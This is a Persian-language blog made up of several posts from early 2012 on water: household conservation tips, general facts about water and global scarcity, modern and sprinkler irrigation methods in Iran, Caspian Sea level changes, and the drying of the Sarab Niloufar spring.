متاسفانه 40 درصد از مردم دنیا از آب سالم محرومند . طبق اعلام سازمان جهانی بهداشت روزانه 30 هزار نفر از مردم دنیا به علت کمبود آب سالم و بهداشتی می میرند. در واقع مثل این است که در مجاورت و همسایگی من و شما هر روز مردم یک شهر 30 هزار نفری از فقدان آب بهداشتی جان می سپارند! و برابر با آمار سازمان جهانی بهداشت 80 درصد از بیماری هایی که مردم دنیا از آن ها رنج می برند به طور مستقیم مربوط به عدم تامین آب بهداشتی و کافی است. خود ما بزرگترین دشمن خویش هستیم زیرا همین آب های موجود را نیز آلوده و غیر قابل استفاده می کنیم و یا این ماده با ارزش برای حیات را با مصرف بی رویه هدر می دهیم . این کار باعث تقسیم ناعادلانه آب برای بشر شده و هستی تعدادی از افراد بی گناه را به خطر می اندازد.

روشهای مصرف بهینه آب در خانه

  

1- با هر دقیقه دوش گرفتن بین 20 الی 40 لیتر آب مصرف می شود. بنابراین بهتر است زمان مورد نیاز برای دوش گرفتن را کاهش دهیم و استفاده از وان نیز ضروری نمی باشد.

 

2- می توانیم با استفاده از یک لیوان آب ، دندان های خود را مسواک بزنیم و هنگام مسواک زدن جریان آب را قطع کنیم.


3- هنگام وضو گرفتن شیر آب را بدون استفاده باز نگذاریم.

 

4- مواظب خرابی سیفون توالت ها باشیم چون در صورت خرابی حدود 150 لیتر در شبانه روز آب هدر می رود.

 

5- چکه کردن و نشت آب از شیر و لوله ها موجب هدر رفتن مقدار زیادی آب در هر 24 ساعت می شود. پس همواره شیرها را بررسی کرده و در صورت خرابی در مورد رفع این مشکل و تعویض واشر آن ها اقدام نماییم.

6- هنگام شستن میوه و سبزی راه خروجی ظرفشویی را ببندیم ، و آن را تا نیمه پر از آب کنیم . سپس سبزی و میوه را در آن بخیسانیم و ضد عفونی کنیم و در پایان سبزی ها را با دوش مخصوص آب کشی کنیم.

  

7- ماشین لباسشویی را با حداکثر ظرفیت مورد استفاده قرار دهیم ، هنگامی از آن استفاده کنیم که لباس به اندازه کافی جمع شده باشد و در نتیجه ماشین با ظرفیت کامل کار کند.

8- چند بطری آب آشامیدنی در یخچال بگذاریم تا ناچار نشویم شیر آب را برای خنک شدن باز بگذاریم و مقادر قابل توجهی آب را هدر دهیم. استفاده از یخ نیز مفید خواهد بود.

  

9- باغچه را تنها در ساعات خنک روز آبیاری کنیم. این کار از رشد گیاهان انگلی جلوگیری کرده و تبخیر آب را به حداقل می رساند.

10- گذرگاه و پله ها را با جارو پاکیزه نگه داریم ، اگر این کار با شیلنگ انجام دهیم ، مقدار زیادی آب به هدر خواهد رفت.

   

11- برای شستن اتومبیل از چند سطل آب به جای شیلنگ استفاده کنیم.

12- کولر آبی را بازدید کنیم و در صورت اتلاف آب شیرهای شناور بادوام و محکم به کار ببریم.

  

13- معمولا کوکان بازی با آب را دوست دارند و مقدار زیادی آب را هدر می دهند. بنابراین توصیه می شود مواظب کودکان خود باشیم.

   

14- در فصل تابستان و بخصوص در گرمترین ساعات روز که مصرف آب بیشترین حد خود را دارد ، سعی کنید مصارف غیر ضروری را کاهش دهید تا آب به همه تعلق گیرد و فشار آن کاسته نشود و یا قطع نگردد.

   

15- با استفاده از یک آجر و یا بطری ، ظرفیت سیفون و یا فلاش تانک توالت را کاهش دهیم.

   

16- در مواردی که امکان پذیر است از وسایل کاهش دهنده مصرف نظیر شیرهای قطع و  وصل ، سر شیرهای پودر کننده و شیرهای فشارشکن استفاده نماییم.

  

17- آب را دور نریزید مگر اینکه مطمئن شوید دیگر نمی توان آن را مصرف نمود.

  

پس از همین امروز به فکر صرفه جویی در مصرف آب تصفیه شده باشیم و در پایان هر روز از خود بپرسیم که امروز چقدر صرفه جویی کرده ایم؟

مصرف بی رویه آب = بی توجهی به حق دیگران

  

صرفه جویی = مصرف متعادل است نه کاهش مصارف ضروری

     

   

 چه باید کرد؟

     

1- در مصرف آب تصفیه شده ، صرفه جویی نمایید که سایر هموطنان ما نیز بتوانند از آن استفاده نمایند زیرا مصرف بی رویه آب نه تنها بحران کم آبی را تشدید می کند ، بلکه موجب تولید فاضلاب بیشتری شده و مشکلات زیست محیطی و اقتصادی فراوانی را در دفع بهداشتی آن به وجود می آورد.

   

2- هیچ آبی را مصرف نکنید مگر به پاکیزه و بهداشتی بودن آن اطمینان داشته باشید.

   

3-از آلوده نمودن آب رودخانه ها و سایر آب های سطحی به هر طریق ممکن بپرهیزید و به هیچ عنوان زباله و یا فاضلاب را به داخل آب ها نریزید.

     

4- از آب رودخانه ها برای آشامیدن استفاده نکنید و در صورت نیاز آن را بجوشانید.

    

5- به جای استفاده از کودهای شیمیایی بهتر است از کودهای طبیعی ضد عفونی شده استفاده نمایید.

منبع:شرکت آب و فاضلاب استان قم

+ نوشته شده در  جمعه بیست و هشتم بهمن 1390ساعت 12:10  توسط امیررضا کاویان مهر  | 

آب

آب مایه حیات و فراوان‌ترین مادهٔ مرکب برروی سطح کره زمین و بستر اولیه حیات به شکلی که امروزه می‌شناسیم. بیش از ۷۵٪ جرم یک انسان از آب تشکیل شده‌است و نیز بیش از ۷۰٪ سطح کره زمین را آب پوشانده است (نزدیک به ۳۶۰ میلیون از ۵۱۰ میلیون کیلومتر مربع) با وجود این حجم عظیم آب تنها دو درصد از آبهای کره زمین شیرین و قابل شرب است و باقی آن به علت محلول بودن انواع نمک‌ها خصوصاً نمک طعام غیر قابل استفاده است. از همین دو درصد آب شیرین بیش از ۹۰ درصد به صورت منجمد در دو قطب زمین و دور از دسترس بشر واقع شده‌است.

ساختار ملوکولیمدل فضاپرکن.

آب در سه 
شکل مایع، گاز و جامد

نامگذاری آب

آب در گویش‌های محلی به نامهای مختلف یاد می‌شود. مثلاً در گویش دزفولی با تلفظ O انگلیسی یا "او" از آب یاد می‌شود.

در فیزیک بر اساس حالت ماده آب معمولاً به این نام‌ها خوانده می‌شود:

در علم هواشناسی حالت‌های مختلف آب بر اساس نوع بارش یا معلق بودن آن در جو طبقه بندی می‌شود:

در علم محیط زیست:

بر اساس منبعی که آب در آن قرار دارد و یا از آن به دست می‌آید:

بر اساس نوع مصرف:

بر اساس کیفیت فیزیکی:

بر اساس مشخصات شیمیایی:

بر اساس مسائل مذهبی:

ویژگی‌های فیزیکی و شیمیایی

مولکول

فرمول شیمیایی آب، H۲O است؛ مولکول آب از دو اتم هیدروژن و یک اتم اکسیژن تشکیل شده‌است که با پیوندهای کووالانس به هم متصل شده‌اند. اتم‌های هیدروژن دارای بار مثبت هستند و با زاویه نزدیک به ۱۰۵ درجه در اطراف اتم اکسیژن قرار گرفته‌اند که این موضوع باعث قطبی شدن پیوندهای مولکول آب شده‌است.جرم مولی آب برابر ۱۸ گرم بر مول می‌باشد.

خواص فیزیکی آب (مقطر)

بی‌بو، بی‌رنگ و بی‌طعم. آب خواص ویژه‌ای دارد که آن را از دیگر مایعات متمایز کرده‌است. از این خواص ویژه می‌توان به ظرفیت گرمایی بالا، افزایش غیرعادی حجم به هنگام انجماد، کشش سطحی بالا، گرانروی بسیار پایین و بالا بودن گرمای نهان تغییر فاز اشاره نمود. دلیل بسیاری از این خاصیت‌ها وجود پیوند هیدروژنی در میان مولکول‌های آب است. چگالی آب در دمای ۲۵ درجه سانتی‌گراد و فشار ۱ آتمسفر برابر ۰.۹۹۸ گرم بر سانتمیتر مکعب است. آب در فشار ۱ آتمسفر در دمای ۱۰۰ درجه سانتی‌گراد می‌جوشد و در دمای صفر درجه سانتی‌گراد منجمد می‌شود.

همچنین آب در ۴ درجه سانتی گراد بیشترین چگالی یعنی ۱ گرم بر سانتیمتر مکعب را دارد، که این مسئله از لحاظ علمی بسیار جالب است و یک استثنا به شمار می‌آید.

منابع آب در کره زمین 

اگر کسی از فضا به زمین نگاه کند، آن را یک سیاره آبی رنگ و پر از آب خواهد دید. حجم کل آب‌های موجود در کره زمین، رقمی در حدود ۱٬۳۶۰ میلیون کیلومتر مکعب تخمین زده شده‌است. این حجم با توجه به چرخهٔ آب به طور دائم در بین منابع مختلف در حال جابه‌جایی‌است.

استفاده از آب

میانگین جهانی توزیع میزان استفادهٔ آب در بخش‌های مختلف در سال ۲۰۰۳ به صورت زیر بود:

بخش کشاورزی به دلیل آبیاری محصولات میزان زیادی آب مورد استفاده قرار می‌دهد. از سال ۱۹۶۰ میانگین جهانی میزان برداشت آب از منابع به منظور آبیاری زمین‌ها ۶۰٪ افزایش یافته‌است و این در حالی‌است که بین ۲۰٪ تا ۳۰٪ آن تبخیر یا جاری می‌شود و به هدر می‌رود . میزان برداشت آب در کشورهای درحال توسعه به علت نداشتن ابزار مناسب دوبرابر کشورهای توسعه‌یافته برای هر هکتار است، درحالی که میزان محصولات کشاورزی آن‌ها یک‌سوم می‌باشد. به‌علاوه، در اکثر نقاط خشک و نیمه‌خشک، به علت کمبود بارش‌های جوی، ۹۰٪ آب مورد نیاز برای آبیاری زمین‌ها از آب شیرین تأمین می‌گردد، درحالی که کشورهای توسعه‌یافته این رقم را به ۴۰٪ رسانده‌اند.

توزیع میزان استفادهٔ آب به‌منظور مصارف خانگی نیز در نواحی گوناگون مختلف می‌باشد. به طور مثال و طبق آمار منتشر شده توسط برنامه عمران سازمان ملل متحد در سال ۲۰۰۶، میانگین میزان آب مصرفی در ایالات متحده حدود ۵۷۵ لیتر و در اروپا بین ۲۰۰ تا ۳۰۰ لیتر در روز برای هر شخص می‌باشد، درحالی که در کشور موزامبیک این رقم حدود ۱۰ لیتر می‌باشد.

کمبود آب

وضعیت کنونی بحران آب در جهان

اگرچه حجم کلی آب‌های موجود برروی زمین نسبتاً زیاد می‌نماید اما متجاوز از ۹۷٪ این آب‌ها در دریاها و اقیانوس‌ها متمرکز هستند و حدود ۲٪ نیز به صورت یخ و یخچال‌ها در مناطق قطبی تجمع یافته‌است. از یک درصد آب باقی‌مانده نیز بخش زیادی در اعماق زمین بوده که استخراج آن مشکل و از دسترس انسان به دور است.

به‌علاوه، منابع آب شیرین در سطح زمین به طور یک‌نواخت توزیع نشده‌اند. درحال حاضر، ۹ کشور ۶۰٪ کل منابع آب شیرین را به خود اختصاص می‌دهند: کانادا، چین، کلمبیا، پرو، برزیل، روسیه، ایالات متحده آمریکا، اندونزی و هند.

در مقابل حدود ۸۰ کشور با کمبود آب مواجه‌اند که برخی از آن‌ها تقریباً به هیچ منبع آب شیرین قابل توجهی دسترسی ندارند: کویت، بحرین، مالت، امارات متحده عربی، سنگاپور، اردن و لیبی.

با توجه به افزایش روزافزون جمعیت، توسعهٔ صنایع و افزایش آلودگی منابع آب شیرین، دسترسی به آب کافی و مناسب در برخی از کشورها به یک بحران جدی تبدیل شده‌است.

آلودگی آب‌های رودخانهٔ تیته در برزیل. در بسیاری از کشورها، علارغم وجود منابع کافی آب شیرین، تأمین آب آشامیدنی سالم با مشکل روبه‌رو است.

طبق آمار برنامه عمران سازمان ملل متحد در سال ۲۰۰۶:

  • ۱٫۱ میلیارد نفر به آب آشامیدنی دسترسی ندارند.
  • ۲٫۶ میلیارد نفر به آب کافی برای بهداشت دسترسی ندارند.
  • ۷۰۰ میلیون نفر در ۴۳ کشور با مشکل کمبود پیوستهٔ آب مواجه هستند.
  • ۱٫۸ میلیون کودک زیر ۵ سال هر روز از ابتلا به اسهال به علت آشامیدن آب ناسالم می‌میرند.

آلودگی آب شرب و اهمیت تصفیه آب

آب بیش از سه‌چهارم سطح کره زمین را پوشانده‌است. ۹۷٫۲ درصد از آب‌های موجود در این سیاره در اقیانوس‌ها و دریاها انباشته شده‌اند، لیکن تنها حدود ۸/۲ درصد از آب‌های موجود قابل شرب می‌باشد. مقدار قابل توجهی از کل آب‌های سطح کره زمین به‌صورت مناطق قطبی، یخچال‌های طبیعی، رطوبت هوا و خاک می‌باشد که عملاً غیرقابل دسترسی‌است و تنها ۰٫۶۲ درصد از آن در رودخانه‌ها جاری بوده و یا به‌صورت دریاچه‌های آب شیرین و منابع زیرزمینی قرار گرفته‌اند و انسان‌ها آب آشامیدنی خود را از این منابع تأمین می‌نمایند.

Fresh water fountain.jpg

امروزه این منابع محدود آب شیرین قابل دسترس در معرض انواع آلودگی‌های میکروبی و شیمیائی قرار گرفته، و آلاینده‌های فراوانی از طریق فاضلاب‌های صنعتی و کودهای شیمیائی منابع حیاتی انسان‌ها را به طور جدی تهدید می‌نماید.

۱) متأسفانه با توسعه تمدن جدید و صنعتی شدن جوامع، فاضلاب‌های صنعتی، مواد سمی، (فلزات سنگین) و آلودگی‌های مضر که برای سلامتی موجود تهدید به شمار می‌آید، از قبیل اسیدیته آزاد، مواد قلیائی، گازهای سمی، مواد رادیواکتیو، میکروارگانیسم‌های بیماری‌زا، چربی و روغن و... را وارد آب‌های شیرین قابل دسترس می‌نمایند.

۲) مواد شوینده که در عصر ما بسیار توسعه یافته و حجم وسیعی را تشکیل می‌دهد، هر روز و هر ساعت از طریق چاه‌های فاضلاب وارد آب‌های زیرزمینی گردیده و مولکول‌های کربن‌دار حلقوی (هیدروکربورها) موجود در آنکه به آسانی قابل استحاله و تغییر نیستند، را وارد آب‌های زیرزمینی می‌گردانند و آلودگی شیمیائی ایجاد می‌نمایند. متأسفانه با تمام تلاشی که به عمل آمده در حال حاضر فقط ۲۵ درصد از پاک کننده‌ها (دترجنت‌ها) در شرایط معمولی تجزیه می‌گردند (جزء انواع تجزیه شونده می‌باشند) و ۷۵ درصد آن‌ها استحاله نمی‌گردد و مولکول‌های حلقوی کربن‌دار آن‌ها شکسته نمی‌شوند.

۳) تصفیه‌خانه‌های آب شرب جهت مبارزه با آلودگی‌ها با اضافه کردن مقداری کلر که ارزان‌ترین و قابل دسترس‌ترین آنتی‌اکسیدان است، میکروب‌ها و ویروس‌ها را در شرایطی خاص (نه به طور کامل) از بین می‌برند. هنگامی که کلر به عنوان گندزدائی کننده در تصفیه آب به کار می‌رود، در اثر ترکیب کلر با مواد آلی مثل اسید هیومیک تولید تری‌هالومتان‌ها THMs یا هالوفرم‌ها را می‌نماید، تری‌هالومتان‌های اصلی عبارتند از: کلروفرم (CHCL3)، برمودی کلرومتان (CHBrCL2)، دی‌برموکلرومتان (CHBr2CL) و برموفرم (CHBr3). شواهدی در دست است که این ترکیبات خاصیت سرطان‌زائی دارند، که برای سلامتی انسان‌ها جداً زیان‌بخش تشخیص داده شده‌اند. در شکل تصفیه آب به‌صورت رایج این‌گونه مواد همچنان در آب باقی می‌مانند و کلر اضافی باقی‌مانده نیز اثر زیان‌آور خود را بر سلامتی انسان‌ها وارد می‌سازد. در هر حال تصفیه‌های اولیه تأثیر زیادی در رابطه با مقابله با آلودگی شیمیائی و عناصر محلول در آب نمی‌توانند انجام دهند. فلزات مضر و نمک‌های زیان‌آور همچنان از طریق آب آشامیدنی وارد بدن انسان‌ها می‌گردند و اثرات تخریبی خود را به‌جای خواهند گذاشت.

۴) آب حاوی محلول نمک‌ها و فلزات زیان‌آور، که میزان آن با: رسانایی الکتریکی و مجموع جامدات محلول، مشخص می‌گردد، متابولیسم سلولی و سوخت و ساز سلول‌های بدن انسان را تحت تأثیر قرار می‌دهد و دررسیدن غذا و اکسیژن کافی به نسوج و بافت‌های بدن اختلال ایجاد می‌نماید. این اختلال به‌صورت خستگی مفرط، ناراحتی‌های پوستی، ضعف در عضلات بدن، سردرد و... ظاهر می‌گردد. مواد زائد آب در سیستم گردش خون به‌صورت رسوباتی در جداره رگ‌ها باقی می‌مانند و موجب تصلب شرائین، فشار خون، کاهش کارائی کلیه‌ها و کاهش ترشحات مفید غدد بدن و نهایتاً سکته‌های قلبی، مغزی و سایر عوارض خطرناک می‌گردند.

۵) میزان آب موجود در بدن انسان ۶۶ درصد تا ۸۵ درصد است که مقدار آن در خون ۷۹ درصد می‌باشد. آب سالم و بهداشتی آبی‌است که قادر به انجام مأموریت‌های ضروری برای حیات پرنشاط و سالم باشد. سوخت و ساز سلولی عمدتاً توسط آب صورت می‌پذیرد و آب به طور دائم سلول‌ها و بافت‌ها را با حمل مواد غذائی تغذیه کرده و سپس مواد زائد آن‌ها را به خارج از بدن حمل می‌کند، که در صورت اشباع بودن مولکول‌های آب از عناصر زائد این توانائی کاهش می‌یابد و عوارض آن به‌صورت‌های گوناگون در زندگی ما ظاهر می‌گردد.

۶) توجه به امر بهداشت آب آشامیدنی و مضرات ناشی از آلودگی‌های مختلف آب در سال ۷۸ توجه همراهان گروه تصفیه آب را به خود جلب نمود. آنان جهت پرهیز دادن از امراض و ناراحتی‌های ناشی از این آلودگی‌ها، و توسعه آگاهی عمومی نسبت به آن‌ها تلاش‌های خود را آغاز کردند. استفاده گسترده از سیستم‌های تصفیه اسمز معکوس از نتایج این فعالیت‌هاست. اسمز معکوس سیستمی‌است که با بهره‌گیری از قانون اسمز در طبیعت می‌تواند آب‌های آلوده و ناسالم با عبور دادن از فیلتری مخصوص به نام غشاء به آب سالم بهداشتی تبدیل نماید، که نزدیک به مختصات استاندارد سازمان بهداشت جهانی می‌باشد. این سیستم مولکول‌های آب را غربال کرده و مولکول‌های اشباع نشده و سالم را از مولکول‌های اشباع شده جدا می‌نماید. انواع میکروب‌ها و ویروس‌ها که در اندازه‌های فیزیکی ۰۳/۰ تا ۳ میکرون مشخص می‌گردد و همچنین انواع فلزات سنگین و نمک‌های زیان‌آور را به‌صورت پساب خارج می‌نماید و تنها به آب سالم و بهداشتی اجازه عبور و خروج از سامانه را می‌دهد که قابل شرب و اطمینان‌آور است.

جنبه دینی

آب که از دیرباز به سبب حیاتی بودن‏ مقدس شمرده می‌‏شود در یک آیین معنوی‏ کاربردی تقدس‌‏بخش پیدا می‏کند. تقدس آن‏ به‏‌گونه‌ای است که از یک سوی نماد زیست و زندگی و از سوی دیگر نماد پالایش و طهارت‏ می‏‌باشد. آب در ترکیب با یک آیین‌های پاکیزگی و طهارت تبدیل به رکن اساسی در آیین‌‏های مذهبی می‏‌شود.

برخی باورهای دینی برای این عنصر مادی به خاطر پالایندگی جسم مرتبه پالایندگی روح نیز قائل شده‌اند. در بیان اسطوره‏ ایزیس از ایزدان مصری آمده‌است که پیکر مرده ایزیس در آب‏‌های نیل شناور بود و به زندگی برگشت به این خاطر که در آب‏‌های نیل غسل داده شد. ایزدبانوی ماه، در اساطیر قبایل مائوری نیوزیلند، به نام مارما پس از اینکه به‏ طور کامل از بین می‏‌رود، هرگاه در آب‏‌های زندگانی خود را شست‌‏وشو می‏‌دهد دوباره شکوه گذشته خود را بازمی‌یابد.

نام وایورا، ایزدبانوی تندرستی در جزایر پلی‌نزی مرکزی، به‏ معنای «آب زندگانی» است. در داستان حماسی گیلگمش، وقتی گیلگمش خسته و درمانده به دنبال زندگی جاودان رهسپار می‏‌شود، با سیدوری‏ برخورد می‏‌کند. او در پاسخ گیلگمش که زندگی جاودان‏ را خواستار است، نخست به او گوشزد می‌‏کند که زندگی جاودان ویژه ایزدان است و در این میان سهم انسان، لذت بردن از مواهب زندگی‏ است. او خطاب به گیلگمش می‏‌گوید پوشاک نو به تن کن، تن را در آب‏ بشوی و...

در این اسطوره شستن تن در آب، جزیی از سهم و قسمت انسان‏ از زندگی، و از مواهب ارزشمندی که خدایان به انسان‏‌ها بخشیده‌‏اند، محسوب می‌‏شود.

منبع:ویکی پدیا

+ نوشته شده در  پنجشنبه بیست و هفتم بهمن 1390ساعت 14:0  توسط امیررضا کاویان مهر  | 

روش های نوین ابیاری

استان سیستان و بلوچستان با 181 هزار و 785 کیومتر مربع و متوسط  بارندگی سالانه کمتراز 105 میلیمتر  از استان های بسیار گرم وخشک کشور است که همواره با مشکل کمبود آب دست و پنجه نرم کرده است .

خشکسالی های 15 سال اخیر و به ناچار بهره برداری از منابع آبی استان در بخش های شرب، صنعت و کشاورزی ، ضرورت اهمیت استفاده بهینه از آب را به خوبی آشکار میکند.  این ضرورت آنجا احساس می شود که حدود 93 درصد آب موجود  در استان صرف بخش کشاورزی می گردد حال این که 60 درصد آب مصرفی بخش کشاورزی در  شیوه سنتی آبیاری  هدر می رود ؛ در مقابل آن با آبیاری قطره ای و بارانی می توان بازدهی آبیاری را به 75 تا 95  درصد افزایش داد و به همین میزان ذخیره آبهای زیرزمینی و  آب سدها را حفظ کرد.

با توجه به این ضرورت ، در سومین سفر هیئت دولت به استان در فروردین ماه امسال مصوب شد طی چهار سال آینده 100 هزار هکتار از زمین های کشاورزی استان تحت پوشش روش های آبیاری نوین قرار گیرد.

 هم اکنون از مجموع 240  هزار هکتار زمین های کشاورزی استان شامل زراعی و باغی است تنها  12 هزار هکتار آن یعنی  حدود چهار درصد تحت پوشش سیستم آبیاری نوین  قرار دارد.

کیخا رئیس سازمان جهاد کشاورزی سیستان و بلوچستان گفت : با توجه به این که خشکسالی های استان همچنان ادامه دارد و منابع آب رو به تحلیل است ،  این مصوبه جهشی در بخش کشاورزی و استفاده بهینه از آب خواهد بود. 

بر اساس این مصوبه مقرر شد  70 درصد سهم هزینه اجرای هر سیستم آبیاری نوین  را دولت و 30 درصد سهم را خود کشاورز پرداخت کند اما   با توجه به ضرورت اجرای  این روش آبیاری در استان کم آب سیستان و بلوچستان ، مجلس شورای اسلامی در قانون بودجه سال 90 مصوب کرد که سهم پرداخت هزینه توسط دولت 85 درصد و کشاورز 15 درصد باشد.

هزینه اجرای سیستم های آبیاری نوین در هر هکتار زمین کشاورزی چهار تا پنج میلیون تومان است.

 هم اکنون 170 کشاورز و بهره بردار در بخش کشاورزی استان فعالیت می کنند و سالانه بیش از سه میلیون وپنجاه  هزار تن  محصولات زراعی و باغی در استان تولید می شود 

+ نوشته شده در  چهارشنبه بیست و ششم بهمن 1390ساعت 21:0  توسط سید جواد موسویان  | 

روش های ابیاری کشاورزی

کشاورزی بیشترین سهم مصرف آب‌های شیرین ایران را به‌خود اختصاص می‌دهد. حدود 92 درصد کل آب مصرف شده کشور، به مزرعه‌ها و باغ‌ها سرازیر می‌شود.



ادامه مطلب
+ نوشته شده در  چهارشنبه بیست و ششم بهمن 1390ساعت 20:20  توسط سید جواد موسویان  | 

نوسانات آب درياي خزر:

خزر بزرگترين درياچه جهان نوسانات زيادي را تجربه كرده است. بعد از سال 1929 كاهش سطح آب دريا سريع بوده ولي بعد از سال 1978 سطح آب دريا به سرعت بالا رفت. بين سالهاي 1929 تا 1977 سطح آب حدود 1.2 متر بالا رفت و اول ژانويه 1994 در سطح منفي 26.95 متر قرار گرفت.  مطالعات نشان داده كه نوسانات سيكلي سطح درياي خزر با مدت زمان 450 تا 500 سال در نتيجه سيكلهاي آب و هوائي مشابه ايجاد شده اند. آخرين سيكل كه در اواسط قرن هفدهم شروع شده بود در اوايل قرن نوزدهم به حداكثر خود رسيد و در حال حاضر در حال از بين رفتن است. بنابراين بالا رفتن سطح آب درياي خزر كه از سال 1978 يا 1357 شمسي شروع شده ادامه نخواهد داشت و بزودي كاهش خواهد يافت. پائين رفتن آب دريا تا پايان قرن آينده ادامه خواهد داشت. اين پيش بيني در برگيرنده فعاليتهاي انساني نيست و براساس تغييرات طبيعي گذشته بنا گذاشته شده است(حامدو، 1997).

+ نوشته شده در  چهارشنبه بیست و ششم بهمن 1390ساعت 14:23  توسط امیررضا کاویان مهر  | 

عکس های زیبا و هنری از آب




  • + نوشته شده در  سه شنبه بیست و پنجم بهمن 1390ساعت 21:54  توسط امیررضا کاویان مهر  | 

    قرن بيست ويک قرن جنگ آب

        قرن بیست و یکم، قرن جنگ بر سر آب نام گرفته است. در قسمتهای مختلف دنیا، به خصوص در کشورهای در حال توسعه، مسایل مرتبط با آب از قبیل کمبود آب، آلودگی آب و افزایش خسارات ناشی از سیل وجود دارد. این مسایل کمبود مواد غذایی و به دنبال آن گسترش بیماریها را در پی خواهد داشت.

                                      


    ادامه مطلب
    + نوشته شده در  سه شنبه بیست و پنجم بهمن 1390ساعت 14:59  توسط سید جواد موسویان  | 

    ابیاری بارانی

    آبیاری بارانی

    آبیاری به معنی پخش آب روی زمین جهت نفوذ در خاک برای استفاده گیاه و تولید محصول می‌باشد. آبیاری و مدیریت آب در مزرعه در عین سادگی هنوز هم از پیچیده‌ترین و به عبارتی از مشکل‌ترین عملیات کشاورزی به شمار می‌رود. بسیاری از متخصصان کشاورزی آبیاری را یک هنر می‌دانند تا علم ، و برخی آن را یک فن قلمداد می‌کنند.

    مزایای آبیاری بارانی

        امکان استفاده در زمنیهای پر شیب.

        توزیع یکنواخت آب آبیاری در تمام نقاط مزرعه.

        کمک به رشد بهتر گیاهان با لطیف کردن محیط اطراف گیاهان

    معایب آبیاری بارانی

        سموم آفت کش و قارچ کش را از روی برگها می‌شوید.

        تاثیر نامطلوب باد در توزیع یکنواخت آب در این نوع از روشهای آبیاری.

        هزینه سرمایه گذاری اولیه نسبتا زیاد.

    انواع روشهای آبیاری بارانی

    یکی از روشهای آبیاری است که آب را توسط آب پاشها به صورت قطرات ریز باران در آورده و در سطح زمین پخش می‌نمایند و رطوبت مورد نیاز گیاه تامین می‌شود. روشهای آبیاری بارانی بر اساس نوع حرکت بال آبیاری به چهار دسته تقسیم می‌شوند: سیستم‌های آبیاری بارانی ثابت ، سیتم‌های بارانی نیمه ثابت ، آبیاری بارانی با جابجایی متناوب ، آبیاری بارانی با جابجایی مداوم.

    آبیاری بارانی ثابت

    در این روش ، به تعداد کافی بال آبیاری و آبپاش وجود دارد بطوریکه احتیاجی به جابجایی بالهای آبیاری و آبپاشها در طول فصل زراعی نمی‌باشد. در سیستم‌های ثابت ممکن است بالهای آبیاری به صورت ثابت در زیر زمین کار گذاشته شود یا این بالها در ابتدای فصل رشد روی زمین چیده شود و در انتهای فصل رشد جمع شوند.

    آبیاری بارانی نیمه ثابت

    در این روش ، بالهای آبیاری زیرزمین قرار می‌گیرند و پس از هر آبیاری فقط آبپاشها برروی بال آبیاری جابجا می‌شوند. این کار توسط شیرهای خودکاری که روی بالهای آبیاری نصب شده صورت می‌گیرد.

    آبیاری بارانی با جابجایی متناوب

    در این روش ، بال آبیاری در حالیکه آب پاشها روی بال آبیاری ثابت می‌باشند، پس از انجام هر آبیاری جابجا شده و به محل اسقرار بعدی منتقل می‌شوند. پس از هر آبیاری ، بال آبیاری از لوله اصلی جدا شده و به محل بعدی منتقل می‌شود. براساس روش انتقال بال آبیاری سیستم‌های آبیاری بارانی با جابجایی متناوب به سه دسته تقسیم می‌شوند.

    سیستم آبیاری بارانی جابجایی با دست

    در این روش ، لوله‌های اصلی در طول فصل آبیاری ثابت بوده ولی بالهای آبیاری پس از هر آبیاری به همراه آب پاشهای نصب شده روی آنها توسط دست جابجا می‌شوند.

    سیستم آبیاری بارانی قطره‌ای کوچک

    در این روش ، بال آبیاری شامل لوله‌هایی است که به دور قرقره‌ای پیچیده شده و در فواصل معینی روی لوله اصلی نصب می‌شود. در انتهای هر یک از لوله‌ها ، آبپاشها توسط ارابه کوچک وصل شده‌اند، ‌این آبپاشها در ابتدای آبیاری به انتهای زمین کشیده می‌شوند بطوریکه در این زمان قرقره کاملا باز شده است.

    آبیاری بارانی آبفشان غلتان

    این نوع سیستم شبیه سیستم آبیاری بارانی جابجایی با دست است با این تفاوت که مجموعه یک بال آبیاری روی چرخهای فلزی سوار شده و کل این مجموعه دارای یک موتور بنزینی است.

    سیستم آبیاری بارانی با جابجایی مداوم

    در این روش بال آبیاری در موقع عمل آبیاری دارای یک حرکت مداوم و پیوسته است. این سیستم آبیاری شامل سه دسته سیستم آبیاری بارانی آبفشان دوار ، آبفشان خطی و آبفشان قرقره‌ای است.

    سیستم آبیاری بارانی آبفشان دوار

    در این روش ، بال آبیاری شامل یک سازه بزرگ فلزی است که توسط برجکهایی در ارتفاع بلندتر از گیاه قرار گرفته و حول نقطه مرکزی که در همان نقطه اتصال بال به لوله اصلی است دوران می‌کند. با توجه به نوع حرکت دورانی بال آبیاری ، آبیاری مزارع به صورت دایره‌ای شکل صورت می‌گیرد.

    سیستم آبیاری بارانی آبفشان خطی

    از لحاظ شکل ظاهری شبیه سیستم آبیاری بارانی آبفشان دوار است با این تفاوت که در این روش ، خط لوله اصلی در کنار زمین قرار گرفته و بال آبیاری در کنار آن حرکت رفت و برگشتی دارد.

    سیستم آبیاری بارانی آبفشان قرقره‌ای

    در این روش بال آبیاری شامل یک لوله است که از یک طرف به دور یک قرقره بزرگ پیچیده شده و از طرف دیگر به ارابه بزرگی که آبپاش روی آن قرار گرفته متصل می‌شود. برای شروع آبیاری ، معمولا قرقره و ارابه را به کنار زمین و جایی که شیر آب از لوله اصلی وجود دارد منتقل کرده و پس از اتصال قرقره به شیر آب ، ارابه را توسط تراکتور کشیده و به انتهای زمین انتقال می‌دهند.در این حالت لوله از دور قرقره باز می‌شود. با برقرار شدن جریان لوله توسط موتور ، شیلنگ به دور قرقره جمع می‌شود و ارابه را به طرف قرقره می‌کشد با حرکت ارابه از انتهای زمین به طرف قرقره ، آبیاری یک نوار کامل از عرض زمین انجام می‌گیرد

    + نوشته شده در  شنبه بیست و دوم بهمن 1390ساعت 16:47  توسط سید جواد موسویان  | 

    کم اب شدن اب سراب نیلوفر

    یادش بخیر ۰ چه صحبتها در مورد عمق سراب نیلوفر و .... که نمی کردند . شاید کسی باور نهفته شدن جام جهان نما را در ته سراب زیبا و پر آب سراب نیلوفر کرمانشاه نمی پذیرفت اما هیچ کس به فکرش خطور نمیکرد که روزی این آب جوشان تا مرز خشک شدن پیش رود ...

    سئوالات مختلفی در مورد این واقعه تلخ مطرح است که مهمترین آن به حفر و بهره برداری چاه های آب کشاورزی فراوان در پایین دست سراب بر میگردد و فقط شاهد ابراز تاسف هستیم . امید است که مسئولین امر همت کنند و در اندیشه و پیاده کردن راهکاری اصولی برای نجات سراب نیلوفر باشند ۰

    + نوشته شده در  شنبه بیست و دوم بهمن 1390ساعت 16:14  توسط سید جواد موسویان  | 

    توجه توجه

